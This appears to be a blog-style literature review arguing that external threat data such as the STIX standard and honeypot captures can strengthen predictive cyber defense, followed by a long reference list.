In the Background way too Long…

---

Nagrecha and Chawla’s (2106) and Zuech et al.’s (2015) works are historical and seminal to the study of a major gap in the current cyber-defensive solution market. Their works form the groundwork of the study, where they identify other disciplines use and reliance upon external data as a critical component of better intrusion detection and risk response actions (Walters, n.d.). External or Heterogeneous data are specifically described by these authors as essential to increasing organizational visibility and awareness of all types of risks and threats to IT environments and networks (Nagrecha & Chawla, 2106;  Zuech et al., 2015).

Zuech et al. (2015) specifically discuss the importance of external or heterogeneous datasets as valuable for cyber-intrusion detection measures. They emphasize the difficulties of integrating disparate data types, to include internal and external datasets, that remain problematic to managing and integrating into predictive model (Gupta & Rani, 2018; Zuech et al., 2015).  External data offers increased analytical usefulness to business, industry, and government in defending against cyber-attacks.

Zuech et al. (2015) ultimately suggest that a problem that organizations have is that they are “focused too narrowly on the [local/internal] network layer” (Zuech et al., 2015, p. 38). Organizations fail to incorporate effective intelligence about the broader threat environment creating serious gaps in their network defenses.  Zuech et al. (2015) further suggest a need for enhanced data “beyond [local] cyberspace such as sensor devices” on and beyond the IT security perimeter. These devices could exist on the edge or exterior to organizational security boundary to provide greater defense in depth(p. 38). Their overall recommendation is to aggregate and effectively use all available data in improving a capable predictive solution.

---

What’s Next for Better Cyber Predictive Analytics?

---

Structured Threat Information eXpression (STIX)

One U.S. government attempt to introduce external data to the public and private sectors is its introduction of the STIX formatting standard in 2010 (MITRE, 2010). A significant finding of the 9-11 Commission was the lack of information sharing between the various members of federal law enforcement and the intelligence community in anticipating the fateful attacks of September 11, 2001 (Director of National Intelligence [DNI], 2018; National Commission on Terrorist Attacks upon the United States [NCTAUS], 2004); information sharing has an associative relationship with this failure of external data sharing and application. The failure of information sharing underscores a serious problem posed culturally to any solution to cybersecurity defense. An awareness of this topic isolates an important non-technical reason for the lack of employment of external data in general. 

The STIX effort was championed by the U.S. government to provide expanded communications of cyber-threat data among companies, agencies, and organizations. The effort was launched by the Department of Homeland Security (DHS) in its creation of STIX for consideration by the private sector to better defend against cyber-threats (MITRE, n.d.; HSSEDI, n.d.).  Specifically, the STIX format met the exchange requirements for a threat intelligence standard between the federal government and the private sector.

STIX was formulated to explicitly support cyber-threat intelligence needs so threat data “can be shared, stored, and analyzed in a consistent manner” (STIX Project, 2018). “STIX is a collaborative, community-driven effort to define and develop a structured language to represent cyber threat information” (MITRE, n.d.). It was meant to foster closer coordination between the private and public sectors regarding cybersecurity activities that could be incorporated into automated tools to assist in better awareness and predictive threat counter-measures. 

---

---

Waterman (2017) describes the ongoing failure of information sharing attempts by the federal government, he reports that “everyone wants to receive information, but few are prepared to make an effort to give back” (para. 1). The 2015 Cybersecurity Act offered a “safe harbor for companies” (para. 5).  The 2015 Act included protections from criminal and civil liability for disclosing penetrations or vulnerabilities to an organization’s network by individuals or business entities; however, the desire of most firms still exists to avoid reporting for its reputational and ultimately its long-range profitability concerns (Waterman, 2017).

The weakness of  information sharing adds to the challenges of cybersecurity protection. Kulp (2019) suggests that information sharing and external intelligence are vital to any threat response. Improved distribution means of threat data has a relationship with the long-term premise of this study; if time-sensitive data is not available, the threat will continue to exploit network gaps faster than the cyber-defenders can defend.

---

Honeypots as Exceptional External Datasets

External or heterogeneous data can come from various types and sources to form the basis of strategic insight and intelligence of the threat IT environment (Ng et al., 2018; Spitzner, 2003). Sources may include the U.S. federal government to include, for example, STIX, or other sources designed to identify risks in-the-wild, for example, honeypots or honeynets. These sources are extraordinary and valuable to enhance the experimental design.

Fang et al. (2019) recognize the value of honeypot data. They describe honeypots as able to passively monitor the IT environment and provide datasets that “exhibit rich phenomena” beneficial to identifying threats (p. 1). The advent of effective IT deception environments, to include honeypots, enhance the study’s data collection and analysis efforts (Fang et al., 2019; Spitzner, 2003).  Honeypots afford an excellent means to sample the global IT environment for threat activities in a controlled and substantive manner to understand threat actions in cyberspace (Ng et al., 2018).

Basam, Ransbottom, Marchany, and Tront (2016) explored the use of honeypots with the Moving Target Internet Protocol version 6 Defense (MT6D) model. The MT6D model employs “radio-frequency hopping behavior” to avoid detection in cyberspace (p. 1). Essentially, the MT6D nodes [computers] can query the deployed honeypot’s classic relational database to identify changes in traffic. Specifically, their work attempts to discern malicious IP addresses from an active connection to a network  to their experimentally-designed honeypot threat database; however, they do not apply a data science-based solution or method (Basam et al., 2016). 

Another example where honeypots are used in cybersecurity defense is the work of Gabriel, Robson de, Flavio, Rafael, de Oliveira, García, and Tai-Hoon (2017). Their work relies on deep-packet inspection of network traffic using honeypot data (Gabriel, Robson de, Flavio, Rafael, de Oliveira, García, & Tai-Hoon, 2017). One of the key strengths of their approach is its ability to query at the deeper packet-by-packet level. This approach affords an ability to see everything within unencrypted data packets to discern a threat. Interestingly, during their study, they discovered a predominance of unauthorized IP traffic originating from China (Gabriel et al., 2017); a significant cyber-threat as identified in many parts of the cybersecurity community (Allyn, 2019; Mandiant, 2013).

Unfortunately, Gabriel et al.’s (2017) work rely heavily on manual processes. They self-describe a limitation of their work that was due to the “nonexistence of a data pipeline, which does not allow real-time analysis of payloads” (p. 24); their work fails to create an active model that can continuously monitor the environment and determine actions in real-time. However, their work does highlight the importance of heterogeneous data where a honeypot is employed and affords an exceptional means to collect threat TTPs. (Gabriel’s et al., 2017)

Conclusion

External or heterogeneous data offer significant improvements in current and developing efforts to leverage data science. While much of the focus is on the cyber-threat that has already penetrated the agency or corporate security boundary, external data are the expected next evolution of the cyber-defense problem. Not just better algorithms but better data that will anticipate the threats in real-time is more likely where progress will occur.

2018 National Cyber Strategy: Barely a Wimper

---

Selected References

Aggarwal, P., & Sharma, S. K. (2015). Analysis of KDD dataset attributes-class wise for intrusion detection. Procedia Computer Science, 57, 842–851. Retrieved from https://www.researchgate.net/publication/283185453_Analysis_of_KDD_Dataset_Attributes_-_Class_wise_for_Intrusion_Detection

Allyn, B. (2019, August 20). 22 Texas towns hit with ransomware attack in ‘new front’ of cyberassault. National Public Radio. Retrieved from https://www.npr.org/2019/08/20/752695554/23-texas-towns-hit-with-ransomware-attack-in-new-front-of-cyberassault

Anagnostopoulos, C. (2016). Quality-optimized predictive analytics. Applied Intelligence, 45(4), 1034–1046. Retrieved from
http://franklin.captechu.edu:2123/10.1007/s10489-016-0807-x

Anitha, P., & Patil, M. M. (2018). A review of data analytics for supply chain management: A case study. International Journal of Information Engineering and Electronic Business, 10(5), 30–39. Retrieved from http://franklin.captechu.edu:2123/10.5815/ijieeb.2018.05.05

Basam, D., Ransbottom, J. S., Marchany, R., & Tront, J. G. (2016). Strengthening MT6D defenses with LXC-based honeypot capabilities. Journal of Electrical and Computer Engineering. Retrieved from doi:http://franklin.captechu.edu:2123/10.1155/2016/5212314

Booz, Allen, Hamilton. (2019). The field guide to data science (2^nd ed.). BAH. Retrieved from https://www.boozallen.com/s/insight/publication/field-guide-to-data-science.html

Breiman, L. (2001). Statistical modeling: The two cultures. Statistical science, 16(3), 199–231. Retrieved from https://projecteuclid.org/download/pdf_1/euclid.ss/1009213726

Carse, B., & Oreland, J. (2000). Evolution and learning in neural networks: Dynamic correlation, relearning and thresholding. Adaptive Behavior, 8(3–4), 297–311. Retrieved from https://doi.org/10.1177/105971230000800305

Chimento Jr, J. J. (2019). Toward an Understanding of Using High Entropic Digital Communication Techniques in Cybersecurity Decision Making (Doctoral dissertation). Retrieved from ProQuest Dissertations and Theses database. (UMI No. 13897847)

Chesney, R. (2015, October 13). Cybersecurity in 1989: Looking back at Cliff Stoll’s classic The Cuckoo’s Egg [Blog post]. Lawfare. Retrieved from https://www.lawfareblog.com/cybersecurity-1989-looking-back-cliff-stolls-classic-cuckoos-egg

Chollet, F. (2018). Deep learning with Python. Shelter Island, NY: Manning publications.

Cisco. (2019). Artificial intelligence/machine learning for intent-based networking – primer [White paper]. Cisco. Retrieved from https://www.cisco.com/c/en/us/solutions/collateral/enterprise-networks/digital-network-architecture/nb-06-cisco-dna-ai-ml-primer-cte-en.pdf

Clarke, R. A., & Knake, R. K. (2014). Cyber war. New York, NY: Harper Collins.

Columbus, L. (2019a, June 16). Top 10 cybersecurity companies to watch in 2019. Forbes. Retrieved from https://www.forbes.com/sites/louiscolumbus/2019/06/16/top-10-cybersecurity-companies-to-watch-in-2019/#4b683b696022

Columbus, L. (2019b, May 27). 25 machine learning startups to watch in 2019. Forbes. Retrieved from https://www.forbes.com/sites/louiscolumbus/2019/05/27/25-machine-learning-startups-to-watch-in-2019/#181be6483c0b

Columbus, L. (2019c, January 23). Data scientist leads 50 best jobs in America for 2019 according to Glassdoor. Forbes. Retrieved from https://www.forbes.com/sites/louiscolumbus/2019/01/23/data-scientist-leads-50-best-jobs-in-america-for-2019-according-to-glassdoor/#457226e77474

Congress.gov. (n.d.). “Cybersecurity” legislation keyword serach  [Data file]. Retrieved from https://www.congress.gov/search?q=%7B%22congres s%22%3A%22116%22%2C%22source%22%3A%22legislation%22%2C%22search%22%3A%22cybersecurity%22%7D&searchResultViewType=expanded

Cooper, H. (2018). Reporting quantitative research in psychology: How to meet APA style journal article reporting standards (2^nd ed.). Washington, DC: American Psychological Association.

Committee on National Security Systems. (2015, April 6). CNSS glossary. CNSS. Retrieved from https://rmf.org/wp-content/uploads/2017/10/CNSSI-4009.pdf

Corrigan, J. (2019, September 4). Pentagon, NSA laying groundwork for AI-powered cyber defenses. Nextgov. Retrieved from https://www.nextgov.com/cybersecurity/2019/09/pentagon-nsa-laying-groundwork-ai-powered-cyber-defenses/159649/

Cummins, E. (2018, August 29). Another AI winter could usher in a dark period for artificial intelligence. Popular Science. Retrieved from https://www.popsci.com/ai-winter-artificial-intelligence/

Cybersecurity and Infrastructure Security Agency Act of 2018, Pub. L. 115-278, 132 Stat. 4186, codified as amended at 6 U.S.C. §§651–674.

Darktrace. (2019a, June 12). Darktrace wins ‘best application of AI in the enterprise’ at the AIconics awards [Press release]. Darktrace. Retrieved from https://www.darktrace.com/en/press/2019/292/

Darktrace. (2019b). Autonomous response: Threat report 2019. Darktrace. Retrieved from https://www.darktrace.com/en/resources/wp-cyber-ai-response-threat-report-2019.pdf?utm_source=darktrace&utm_medium=technology

Darktrace. (2019c). Machine learning in the age of cyber AI: A review of machine learning approaches for cyber security and Darktrace’s underlying technology [White paper]. Darktrace. Retrieved from https://www.darktrace.com/en/resources/wp-machine-learning.pdf?utm_source=darktrace&utm _medium=technology

Davis, B., Whitfield, C., & Anwar, M. (2018, August). Ethical and Privacy Considerations in Cybersecurity. In 2018 16th Annual Conference on Privacy, Security and Trust (PST) (pp. 1–2). IEEE. doi:10.1109/PST.2018.8514188

Denning, D. (2017, August 18). Tracing the sources of today’s Russian cyberthreat. Scientific America. Retrieved from https://www.scientificamerican.com/article/tracing-the-sources-of-today-rsquo-s-russian-cyberthreat/

Department of Justice. (n.d.). Privacy act of 1974. DOJ. Retrieved from https://www.justice.gov/opcl/privacy-act-1974

Devlin, H. (2019, July 5). Hacked forensic firm pays ransom after malware attack. The Guardian. Retrieved from https://www.theguardian.com/science/2019/jul/05/eurofins-ransomware-attack-hacked-forensic-provider-pays-ransom

Digital.com. (n.d.). The deep web and dark web [Blog post]. Digital.com. Retrieved from https://digital.com/blog/deep-dark-web/

Director of National Intelligence. (2018, October). 2018 Information Sharing Environment. DNI. Retrieved from https://www.dni.gov/files/documents/FOIA/2018_Information_Sharing_Environment_Annual_Report.pdf

Djekic, M. (2019, July 5). Cyber security analytic purposes [Blog post]. Cyber Defense Magazine. Retrieved from https://www.cyberdefensemagazine.com/cyber-security-analytics-purposes/

Elder, J. (2013, June). It is a mistake to…lack relevant data [White paper]. Charlottesville, VA: Elder Research.

European Union (E.U.). (n.d.). GDPR key changes. EU. Retrieved from https://eugdpr.org/the-regulation/

Ezeife, C. I., Dong, J., & Aggarwal, A. K. (2008). SensorWebIDS: A web mining intrusion detection system. International Journal of Web Information Systems, 4(1), 97–120. Retrieved from http://franklin.captechu.edu:2123/10.1108/17440080810865648

Fang, X., Xu, M., Xu, S., & Zhao, P. (2019). A deep learning framework for predicting cyber attacks rates. EURASIP Journal on Information Security, 2019(1), 1–11. Retrieved from http://franklin.captechu.edu:2123/10.1186/s13635-019-0090-6

Forcepoint. (n.d.). What is spoofing? Spoofing defined, explained, and explored [Blog post]. Forcepoint. Retrieved from https://www.forcepoint.com/cyber-edu/spoofing

Funke, D., & Benkleman, S. (2019, May 23). How Russia’s disinformation strategy is evolving. Poynter. Retrieved from https://www.poynter.org/fact-checking/2019/how-russias-disinformation-strategy-is-evolving/

Gabriel Arquelau, P. R., Robson de, O. A., Flavio Elias, G. d., Rafael Timóteo, d. S., de Oliveira, G. A., García Villalba, L. J., & Tai-Hoon, K. (2017). Cybersecurity and network forensics: Analysis of malicious traffic towards a honeynet with deep packet inspection. Applied Sciences, 7(10), 1082. Retrieved from doi:http://franklin.captechu.edu:2123/10.3390/app7101082

Garamone, J. (2018, February 13). Cyber tops list of threats to U.S. director of national intelligence says. Defense.gov.  Retrieved from https://www.defense.gov/Newsroom/News/Article/Article/1440838/cyber-tops-list-of-threats-to-us-director-of-national-intelligence-says/

Galloppo, G., & Previati, D. (2014). A review of methods for combining internal and external data. The Journal of Operational Risk, 9(4), 83–103. Retrieved from https://franklin.captechu.edu:2074/docview/1648312043?accountid=44888

Grus, J. (2019). Data science from scratch: First principles with Python.  Boston, MA: O’Reilly Media.

Guccione, D. (2019, July 4). What is the dark web? How to access it and what you’ll find. CSO Online. Retrieved from https://www.csoonline.com/article/3249765/what-is-the-dark-web-how-to-access-it-and-what-youll-find.html

Gupta, D. (2017, May 21). 25 must know terms & concepts for beginners in deep learning [Blog post]. Analytics Vidhya. Retrieved from https://www.analyticsvidhya.com/blog/2017/05/25-must-know-terms-concepts-for-beginners-in-deep-learning/

Gupta, D., & Rani, R. (2018). A study of big data evolution and research challenges. Journal of Information Science, 1–19. Retrieved from https://doi.org/10.1177/0165551518789880

Gwynne, P. (2013). Predicting the progress of technology. Research Technology Management, 56(4), 2–3. Retrieved from https://franklin.captechu.edu:2074/docview/1458287915?accountid=44888

Haider, M. (2015). Getting Started with Data Science: Making Sense of Data with Analytics. New York, NY: IBM Press.

Hair, Joe F., Jr. (2007). Knowledge creation in marketing: The role of predictive analytics. European Business Review, 19(4), 303–315. Retrieved from doi:http://franklin.captechu.edu:2123/10.1108/09555340710760134

Halladay, S. D. (2013). Using predictive analytics to improve decisionmaking. The Journal of Equipment Lease Financing (Online), 31(2), 1–6. Retrieved from https://franklin.captechu.edu:2074/docview/1413251757?accountid=44888

Harvard Business Review (HBR). (2018). Artificial intelligence and machine learning driving tangible value for business [Briefing paper].

Hassani, B. K., & Renaudin, A. (2018). The cascade bayesian approach: Prior transformation for a controlled integration of internal data, external data and scenarios. Risks, 6(2), 1–17. Retrieved from http://franklin.captechu.edu:2123/10.3390/risks6020047

Hayden, L. (2010). IT security metrics: A practical framework for measuring security & protecting data. New York: McGraw Hill.

Hensel, N. (2016). The defense industry: Tradeoffs between fiscal constraints and national security challenges. Business Economics, 51(2), 111–122. Retrieved from http://franklin.captechu.edu:2123/10.1057/be.2016.16

Hu, Z., Gnatyuk, V., Sydorenko, V., Odarchenko, R., & Gnatyuk, S. (2017). Method for cyberincidents network-centric monitoring in critical information infrastructure. International Journal of Computer Network and Information Security, 9(6), 30. Retrieved from http://franklin.captechu.edu:2123/10.5815/ijcnis.2017.06.04

Homeland Security Systems Engineering and Development Institute. (n.d.). Threat intelligence sharing using STIX and TAXII. Secure360. Retrieved from https://secure360.org/wp-content/uploads/2014/05/Threat-Intelligence-Sharing-using-STIX-and-TAXII.pdf

Hubbard, D. (2009a, February 11). I am concerned about the CI, median and normal distribution [Blog post]. Hubbard Decision Research. Retrieved from https://hubbardresearch.com/i-am-concerned-about-the-ci-median-and-normal-distribution/

Hubbard, D. (2009b). The failure of risk management: Why it’s broken and how to fix it. Hoboken, NJ: John Wiley & Sons.

Hubbard, D., & Seiersen, R. (2016). How to measure anything in cybersecurity risk. Hoboken, NJ: John Wiley & Sons.

Jahan, A., & Alam, M. A. (2017). Intrusion detection systems based on artificial intelligence. International Journal of Advanced Research in Computer Science, 8(5) Retrieved from https://franklin.captechu.edu:2074/docview/1912629399?accountid=44888

Jasim, Y. A. (2018). Improving intrusion detection systems using artificial neural networks. ADCAIJ: Advances in Distributed Computing and Artificial Intelligence Journal, 7(1), 49–65. Retrieved from http://franklin.captechu.edu:2123/10.14201/ADCAIJ2018714965

Johns, A. (n.d.). What is internal data? – Definition & sources [Blog post]. Study.com. Retrieved from https://study.com/academy/lesson/what-is-internal-data-definition-sources.html

K, P. C., & Shivakumar, B. L. (2014). A review of trends and technologies in business analytics. International Journal of Advanced Research in Computer Science, 5(8), 225–229.  Retrieved from https://franklin.captechu.edu:2074/docview/1658426584?accountid=44888

Kaplan, F. (2016). Dark territory: The secret history of cyber war. New York, NY: Simon & Schuster.

Koerner, B. (2016, October 23). Inside the cyberattack that shocked the US government. Wired. Retrieved from https://www.wired.com/2016/10/inside-cyberattack-shocked-us-government/

Kulp, P. (2019). Active cyber defense: A case study on responses to cyberattacks (Doctoral dissertation). Available from ProQuest Dissertations & Theses Global. (2247845452). Retrieved from https://franklin.captechu.edu:2074/docview/2247845452?accountid=44888

Kumar, P., & Verma, R. S. (2017). A review on recent advances & future trends of security in honeypot. International Journal of Advanced Research in Computer Science, 8(3). Retrieved from https://franklin.captechu.edu:2074/docview/1901458306?accountid=44888

Lau, C.H. (2019, January 10). 5 steps of a data science project lifecycle. Towards Data Science. Retrieved from https://towardsdatascience.com/5-steps-of-a-data-science-project-lifecycle-26c50372b492

Lee, A. J. (2015). Predictive analytics: The new tool to combat fraud, waste and abuse. The Journal of Government Financial Management, 64(2), 12–16. Retrieved from https://franklin.captechu.edu:2074/docview/1711620017?accountid=44888

Levy, N. (2019, July 26). Amazon R&D and infrastructure spending spike as tech giant staffs up on talent. GeekWire. Retrieved from https://www.geekwire.com/2019/amazon-rd-infrastructure-spending-spikes-tech-giant-staffs-technical-talent/

Lighthill, J. (1972). Artificial intelligence: A general survey. Chilton computing. Retrieved from http://www.chilton-computing.org.uk/inf/literature/reports/lighthill_report/p001.htm

Lis, P., & Mendel, J. (2019). Cyberattacks on critical infrastructure: An economic perspective 1. Economics and Business Review, 5(2), 24–47. Retrieved from doi:http://franklin.captechu.edu:2123/10.18559/ebr.2019.2.2

Lunden, I. (2018, February 21). Vectra raises $36M for its AI-based approach to cybersecurity intrusion detection. Techcrunch. Retrieved from https://techcrunch.com/2018/02/21/vectra-raises-36m-for-its-ai-based-approach-to-cybersecurity-intrusion-detection/

Loy, J. (2019). Neural network projects with Python. Birmingham, UK: Packt.

Lyngaas, S. (2019, April 23). Someone is spoofing big bank IP addresses-possibly to embarrass security vendors. Cyberscoop. Retrieved from https://www.cyberscoop.com/spoofed-bank-ip-address-greynoise-andrew-morris-bank-of-america/

Maloney, D. (2017, October 19). Books you should read: The cuckoo’s egg. Hackaday. Retrieved from https://hackaday.com/2017/10/19/books-you-should-read-the-cuckoos-egg/

Mandiant. (2013, February 18). APT1: Exposing one of china’s cyber espionage units. Fireeye. Retrieved from https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Marz, N., & Warren, J. (2015). Big Data: Principles and best practices of scalable real-time data systems. New York: Manning Publications Co.

McGibony. (2015, June 30). Be a data detective [White paper]. Charlottesville, VA: Elder Research.

Mitchell, B. (2019, October 7). Computer ports: Usage & role in networking: Discover the wide range of computer connections. Lifewire. Retrieved from https://www.lifewire.com/computer-port-usage-817366

MITRE. (2012). Standardizing Cyber Threat Intelligence Information with the Structured Threat Information eXpression (STIX). MITRE. Retrieved from  https://www.mitre.org/sites/default/files/publications/stix.pdf

MITRE. (n.d.). Structured threat information expression (STIX). MITRE. Retrieved from https://makingsecuritymeasurable.mitre.org/docs/stix-intro-handout.pdf

Nagrecha, S., & Chawla, N. V. (2016). Quantifying decision making for data science: From data acquisition to modeling. EPJ Data Science, 5(1), 1–16. Retrieved from doi:http://franklin.captechu.edu:2123/10.1140/epjds/s13688-016-0089-x

National Commission on Terrorist Attacks upon the United States. (2004). The 9/11 Commission report: Final report of the National Commission on Terrorist Attacks upon the United States. Authorized ed., 1^st ed. New York: Norton.

National Association of State Chief Information Officers. (2016). Advanced cyber analytics: Risk intelligence for state government. NASCIO. Retrieved from https://www.nascio.org/Portals/0/Publications/Documents/2016/NASCIO_AdvancedCyberAnalytics_FINAL_4.18.16.pdf

National Institute of Standards and Technology. (2018, June 7). Protecting Controlled Unclassified Information in Nonfederal Systems and Organizations. NIST. Retrieved from https://csrc.nist.gov/publications/detail/sp/800-171/rev-1/final

National Institute of Standards and Technology. (2015, January 22). Security and Privacy Controls for Federal Information Systems and Organizations. NIST. Retrieved from https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/final

Naylor, B. (2016, June 6). One year after OPM data breach, what has the government learned? National Public Radio. Retrieved from https://www.npr.org/sections/alltechconsidered/2016/06/06/480968999/one-year-after-opm-data-breach-what-has-the-government-learned

Ng, C., Pan, L., Xiang, Y. (2018). Honeypot frameworks and their applications: A new framework. Singapore: Springer.

Nield, T. (2019, February 7). Is another AI winter coming? Hackernoon. Retrieved from https://hackernoon.com/is-another-ai-winter-coming-ac552669e58c

Olson, P. (2012). We are anonymous: Inside the hacker world of LulzSec, Anonymous, and the global cyber insurgency. New York, NY: Little, Brown, and Company.

Oltramari, A., & Kott, A. (2018). Towards a reconceptualisation of cyber risk: An empirical and ontological study. Journal of Information Warfare, 17(1), 4–73. Retrieved from https://franklin.captechu.edu:2074/docview/2059071274?accountid=44888

Orgera, S. (2019, August 5). How to use TOR browser for anonymous web browsing. Lifewire. Retrieved from https://www.lifewire.com/tor-browser-tutorial-4103599

Paliwal, D. (2013). Mathematical analysis of problem statements: Artificial intelligence. International Journal of Advanced Research in Computer Science, 4(3). Retrieved from https://franklin.captechu.edu:2074/docview/1443744864?accountid=44888

Paliwal, D., Vaya, D., Khandelwal, S. (2013). Mathematical analysis of problem statements: Artificial intelligence. International Journal of Advanced Research in Computer Science, 4(3). Retrieved from https://franklin.captechu.edu:2074/docview/1443744864?accountid=44888

Palo Alto. (n.d.). What is an endpoint [Blog post]? Palo Alto. Retrieved from https://www.paloaltonetworks.com/cyberpedia/what-is-an-endpoint

Peasland, P. (2017, October 9). What problems can data science solve? Medium. Retrieved from https://medium.com/@philippa.peasland_69295/what-problems-can-data-science-solve-46f0b744da5a

Pham, T. M. (2018). Exploring strategies for incorporating population-level external information in multiple imputation of missing data (Doctoral dissertation). Retrieved from EBSCO Open Dissertations. http://search.ebscohost.com/login.aspx?direct=true&db=ddu&AN=788945D34A68B6CD&site=ehost-live

Project Management Skills. (2010, September 5). Qualitative risk analysis and assessment. Retrieved from Project Management Skills: https://www.project-management-skills.com/qualitative-risk-analysis.html

Prusak, L. (2010, October 7). What can’t be measured. Harvard Business Review. Retrieved from https://hbr.org/2010/10/what-cant-be-measured

Radziwill, N. M., & Benton, M. C. (2017). Cybersecurity cost of quality: Managing the costs of cybersecurity risk management. ArXiv. Retrieved from https://arxiv.org/ftp/arxiv/papers/1707/1707.02653.pdf

Ray, T. (2019, September 12). No, there will be no AI winter. Forbes. Retrieved from https://www.forbes.com/sites/tiernanray/2019/09/12/no-there-will-be-no-ai-winter/#5815439d46a5

Riemer, K., & Seidel, S. (2013). Design and design research as contextual practice [Editorial]. Information Systems and eBusiness Management, 11(3), 331–334. Retrieved from doi:http://franklin.captechu.edu:2123/10.1007/s10257-013-0223-2

Rodriguez, L., & Da Cunha, C. (2018). Impacts of big data analytics and absorptive capacity on sustainable supply chain innovation: A conceptual framework. LogForum, 14(2), 151–161. Retrieved from doi:http://franklin.captechu.edu:2123/10.17270/J.LOG.267

Russo, M. (2019). Critiques paper: Cybersecurity and data science join forces. Unpublished manuscript.

Russo, M. (2018). The Risk Reporting Matrix is a Threat to Advancing the Principle of Risk Management. Unpublished manuscript.

Schroer, A. (2019, April 10). 25 Companies merging AI and cybersecurity to keep us safe and sound. Built-In. Retrieved from https://builtin.com/artificial-intelligence/artificial-intelligence-cybersecurity

Schuchman, S. (2019a, May 12). History of the first AI winter. Toward Data Science. Retrieved from https://towardsdatascience.com/history-of-the-first-ai-winter-6f8c2186f80b

Schuchman, S. (2019b, May 12). History of the second AI winter. Toward Data Science. Retrieved from https://towardsdatascience.com/history-of-the-second-ai-winter-406f18789d45

Shaikh, F. (2016, October 3). Deep learning guide: Introduction to implementing neural networks using TensorFlow in Python. Analytics Vidhya. Retrieved from https://www.analyticsvidhya.com/blog/2016/10/an-introduction-to-implementing-neural-networks-using-tensorflow/

Sheu, K. (2019, April 30). Why network metadata is just right for your data lake [Blog post]. Vectra AI. Retrieved from https://www.vectra.ai/blogpost/why-network-metadata-is-just-right-for-your-data-lake

Siegel, E. (2016). Predictive analytics: The power to predict who will click, buy, lie, or die. Hoboken, NJ: John Wiley & Sons.

Silver, N. (2012). The signal and the noise: Why so many predictions fail–but some don’t. New York, NY: Penguin.

Smith, A. (2019, July 4). 7 fundamental steps to complete a data project [Blog post]. Dataiku. Retrieved from https://blog.dataiku.com/2019/07/04/fundamental-steps-data-project-success

Soni, S., & Vyas, O. P. (2010). Using associative classifiers for predictive analysis in health care data mining. International Journal of Computer Applications, 4(5), 33–37. Retrieved from http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.206.4564&rep=rep1&type=pdf

Somers, M. J., & Casal, J. C. (2009). Using artificial neural networks to model nonlinearity: The case of the job satisfaction–job performance relationship. Organizational Research Methods, 12(3), 403–417. Retrieved from https://doi.org/10.1177/1094428107309326

Spitzner, L. (2003). Honeypots: tracking hackers. Boston, MA: Addison-Wesley.

Starks, T. (2019, July 9). Cyber incidents were expensive in 2018. Politico. Retrieved from https://www.politico.com/newsletters/morning-cybersecurity/2019/07/09/cyber-incidents-were-expensive-in-2018-675243

Starr, B. (2015, July 31). Military still dealing with cyberattack ‘mess.’ CNN. Retrieved from https://www.cnn.com/2015/07/31/politics/defense-department-computer-intrusion-email-server/index.html

Stoll, C. (2005). The cuckoo’s egg: Tracking a spy through the maze of computer espionage. New York, NY: Simon and Schuster.

Stoll, C. (1988, May). Stalking the wily hacker. Communication of the ACM, 31(5), 484–497. Retrieved from http://mars.umhb.edu/~wgt/cisc4370/wilyhacker.pdf

Strand, M., Wangler, B., & Niklasson, M. (2004). External data incorporation into data warehouses: an exploratory study of identification and usage practices in banking organizations. In Proceedings of the CAiSE Forum at the 16th International Conference on Advanced Information Systems Engineering (CAiSE’04) (pp. 103–112). Retrieved from http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.99.8300&rep=rep1&type=pdf

Tadjdeh, Y. (2019, September 6). Defense logistics agency embraces AI. National Defense. Retrieved from  https://www.nationaldefensemagazine.org/articles/2019/9/6/defense-logistics-agency-embraces-ai

Taylor, M. (2017). Neural network math: A visual introduction for beginners. Vancouver, Canada: Blue Windmill Media.

Taylor-Sakyi, K. K. (2016). Big data: Understanding big data. arXiv. Retrieved from https://arxiv.org/ftp/arxiv/papers/1601/1601.04602.pdf

Tetlock, P. E., & Gardner, D. (2015). Superforecasting: The art and science of prediction. New York, NY: Crown Publishers.

Thurber, M. (2018, April 6). What is data wrangling and why does it take so long [Blog post]. Elder Research. Retrieved from https://www.elderresearch.com/blog/what-is-data-wrangling

Toth, E. (2017, December 21). Which are the most scanned ports [Blog post]? Bitninja. Retrieved from https://bitninja.io/blog/2017/12/21/port-scanning-which-are-most-scanned-ports

Trullen, J., & Bartunek, J. M. (2007). What a design approach offers to organization development. The Journal of Applied Behavioral Science, 43(1), 23–40. Retrieved from https://franklin.captechu.edu:2074/docview/236352484?accountid=44888

Udemy. (n.d.). Machine learning: Build neural networks in 77 lines of code. Retrieved from https://www.udemy.com/machine-learning-build-a-neural-network-in-77-lines-of-code/learn/lecture/13179726#overview

Under Secretary of Defense for Acquisition, Technology, and Logistics. (2006, August). Risk management guide for DOD acquisition. Retrieved from https://www.acq.osd.mil/damir/documents/DAES_2006_RISK_GUIDE.pdf

van Veen, F. (2016). A mostly complete chart of neural networks. Asimov Institute. Retrieved from https://www.asimovinstitute.org/wp-content/uploads/2016/09/neuralnetworks.png

Vectra AI. (2019). The data science behind Cognito AI threat detection models [White paper]. Vectra AI. Retrieved from https://www.vectra.ai/download/the-data-science-behind-cognito-ai-threat-detection-models

Waddell, D. (2015, May 14). Global information security workforce study [Press release]. ISC2. Retrieved from https://www.isc2.org/-/media/ B7E003F79E1D4043A0E74A57D5B6F33E.ashx

Walsh, K. (n.d.). Audit log best practices for information security [Blog post]. Reciprocity. Retrieved from https://reciprocitylabs.com/audit-log-best-practices-for-information-security/

Walters, T. (n.d.). Incorporating external data into the data warehouse. SAS. Retrieved from https://support.sas.com/resources/papers/proceedings/proceedings/sugi22/DATAWARE/PAPER116.PDF

Warwick, K. (2010). Cultured neural networks. Proceedings of the Institution of Mechanical Engineers, Part I: Journal of Systems and Control Engineering, 224(2), 109–111. Retrieved from https://doi.org/10.1243/09596518JSCE916

Waterman, S. (2017, November 15). Experts say government’s information sharing program is all take and no give. Cyberscoop. Retrieved from https://www.cyberscoop.com/dhs-ais-program-house-homeland-committee/

Watkins, L. A., & Hurley, J. S. (2015). Cyber maturity as measured by scientific-based risk metrics. Journal of Information Warfare, 14(3), 57–65. Retrieved from https://franklin.captechu.edu:2074/docview/1967314091?accountid=44888

Weng, B. (2017). Application of machine learning techniques for stock market prediction (Doctoral dissertation). Retrieved from EBSCO Open Dissertations. http://search.ebscohost.com/login.aspx?direct=true&db=ddu&AN=DE0B8B4C2E217AE3&site=ehost-live

Wilner, A. S. (2018). Cybersecurity and its discontents: Artificial intelligence, the Internet of Things, and digital misinformation. International Journal, 73(2), 308–316. Retrieved from  https://doi.org/10.1177/0020702018782496

